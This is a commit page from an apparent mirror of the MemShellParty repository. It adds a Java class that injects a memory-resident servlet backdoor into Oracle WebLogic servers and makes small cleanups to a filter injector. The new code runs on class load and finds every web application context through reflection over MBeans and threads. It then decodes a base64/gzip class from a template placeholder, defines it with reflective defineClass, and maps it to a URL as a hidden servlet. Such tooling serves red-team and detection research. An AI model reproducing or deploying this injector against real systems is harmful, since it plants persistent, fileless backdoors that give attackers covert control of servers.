mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
feat: support weblogic servlet (resolved #5)
This commit is contained in:
-6
@@ -22,7 +22,6 @@ public class WebLogicFilterInjector {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
@@ -153,9 +152,6 @@ public class WebLogicFilterInjector {
|
||||
return obj;
|
||||
}
|
||||
|
||||
/**
|
||||
* https://github.com/BeichenDream/GodzillaMemoryShellProject
|
||||
*/
|
||||
@SuppressWarnings("unchecked")
|
||||
public void inject(Object context, Object filter) throws Exception {
|
||||
if (isInjected(context)) {
|
||||
@@ -164,10 +160,8 @@ public class WebLogicFilterInjector {
|
||||
Object filterManager = invokeMethod(context, "getFilterManager", null, null);
|
||||
Object servletClassLoader = invokeMethod(context, "getServletClassLoader", null, null);
|
||||
Map<String, Class<?>> cachedClasses = (Map<String, Class<?>>) getFieldValue(servletClassLoader, "cachedClasses");
|
||||
//或者直接反射在这个classloader定义类 就不用写缓存了 不过就要硬编码一个class了
|
||||
cachedClasses.put(getClassName(), filter.getClass());
|
||||
invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{getClassName(), getClassName(), new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}});
|
||||
//将filter置为第一位
|
||||
List<Object> filterPatternList = (List<Object>) getFieldValue(filterManager, "filterPatternList");
|
||||
Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1);
|
||||
filterPatternList.add(0, currentMapping);
|
||||
|
||||
+250
@@ -0,0 +1,250 @@
|
||||
package com.reajason.javaweb.memshell.weblogic.injector;
|
||||
|
||||
import javax.servlet.Servlet;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.Arrays;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class WebLogicServletInjector {
|
||||
|
||||
static {
|
||||
new WebLogicServletInjector();
|
||||
}
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public WebLogicServletInjector() {
|
||||
try {
|
||||
Object[] contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object servlet = getShell(context);
|
||||
inject(context, servlet);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public static Object[] getContextsByMbean() throws Throwable {
|
||||
Set<Object> webappContexts = new HashSet<Object>();
|
||||
Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
|
||||
Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
|
||||
Method theOneMethod = serverRuntimeClass.getMethod("theOne");
|
||||
theOneMethod.setAccessible(true);
|
||||
Object serverRuntime = theOneMethod.invoke(null);
|
||||
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
|
||||
getApplicationRuntimesMethod.setAccessible(true);
|
||||
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
|
||||
int applicationRuntimeSize = Array.getLength(applicationRuntimes);
|
||||
for (int i = 0; i < applicationRuntimeSize; i++) {
|
||||
Object applicationRuntime = Array.get(applicationRuntimes, i);
|
||||
try {
|
||||
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
|
||||
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
|
||||
int componentRuntimeSize = Array.getLength(componentRuntimes);
|
||||
for (int j = 0; j < componentRuntimeSize; j++) {
|
||||
Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
|
||||
if (webAppServletContextClass.isInstance(context)) {
|
||||
webappContexts.add(context);
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
|
||||
try {
|
||||
Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
|
||||
for (Object componentRuntime : childrenSet) {
|
||||
try {
|
||||
Object context = getFieldValue(componentRuntime, "context");
|
||||
if (webAppServletContextClass.isInstance(context)) {
|
||||
webappContexts.add(context);
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
return webappContexts.toArray();
|
||||
}
|
||||
|
||||
public static Object[] getContextsByThreads() throws Throwable {
|
||||
Set<Object> webappContexts = new HashSet<Object>();
|
||||
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
|
||||
int threadCount = threadGroup.activeCount();
|
||||
Thread[] threads = new Thread[threadCount];
|
||||
threadGroup.enumerate(threads);
|
||||
for (int i = 0; i < threadCount; i++) {
|
||||
Thread thread = threads[i];
|
||||
if (thread != null) {
|
||||
Object workEntry = getFieldValue(thread, "workEntry");
|
||||
if (workEntry != null) {
|
||||
try {
|
||||
Object context = null;
|
||||
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
||||
if (connectionHandler != null) {
|
||||
Object request = getFieldValue(connectionHandler, "request");
|
||||
if (request != null) {
|
||||
context = getFieldValue(request, "context");
|
||||
}
|
||||
}
|
||||
if (context == null) {
|
||||
context = getFieldValue(workEntry, "context");
|
||||
}
|
||||
|
||||
if (context != null) {
|
||||
webappContexts.add(context);
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return webappContexts.toArray();
|
||||
}
|
||||
|
||||
public static Object[] getContext() {
|
||||
Set<Object> webappContexts = new HashSet<Object>();
|
||||
try {
|
||||
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
try {
|
||||
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return webappContexts.toArray();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
Object obj;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
obj = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
obj = clazz.newInstance();
|
||||
}
|
||||
return obj;
|
||||
}
|
||||
|
||||
/**
|
||||
* server/lib/weblogic.jar
|
||||
* weblogic.servlet.internal.WebAppServletContext
|
||||
*/
|
||||
public void inject(Object context, Object servlet) throws Exception {
|
||||
// weblogic.servlet.utils.URLMapping
|
||||
Object servletMapping = invokeMethod(context, "getServletMapping", null, null);
|
||||
Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
|
||||
Class<?> servletStubImplClass = Class.forName("weblogic.servlet.internal.ServletStubImpl");
|
||||
Object servletStub = null;
|
||||
Constructor<?> servletStubImplConstructor = null;
|
||||
try {
|
||||
servletStubImplConstructor = servletStubImplClass.getDeclaredConstructor(String.class, Servlet.class, webAppServletContextClass);
|
||||
servletStubImplConstructor.setAccessible(true);
|
||||
servletStub = servletStubImplConstructor.newInstance(getClassName(), servlet, context);
|
||||
} catch (NoSuchMethodException e) {
|
||||
// 10.3.6
|
||||
servletStubImplConstructor = servletStubImplClass.getDeclaredConstructor(String.class, String.class, webAppServletContextClass, Map.class);
|
||||
servletStubImplConstructor.setAccessible(true);
|
||||
servletStub = servletStubImplConstructor.newInstance(getClassName(), getClassName(), context, null);
|
||||
}
|
||||
Constructor<?> urlMatchHelperConstructor = Class.forName("weblogic.servlet.internal.URLMatchHelper").getDeclaredConstructor(String.class, servletStubImplClass);
|
||||
urlMatchHelperConstructor.setAccessible(true);
|
||||
Object urlMatchHelper = urlMatchHelperConstructor.newInstance(getUrlPattern(), servletStub);
|
||||
Object mapping = invokeMethod(servletMapping, "get", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||
if (mapping == null) {
|
||||
invokeMethod(servletMapping, "put", new Class[]{String.class, Object.class}, new Object[]{getUrlPattern(), urlMatchHelper});
|
||||
System.out.println("servlet inject successful");
|
||||
} else {
|
||||
System.out.println("servlet already injected");
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
try {
|
||||
gzipInputStream.close();
|
||||
} catch (IOException ignored) {
|
||||
}
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
Method method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj, param);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||
for (Class<?> clazz = obj.getClass(); clazz != Object.class; clazz = clazz.getSuperclass()) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(name);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user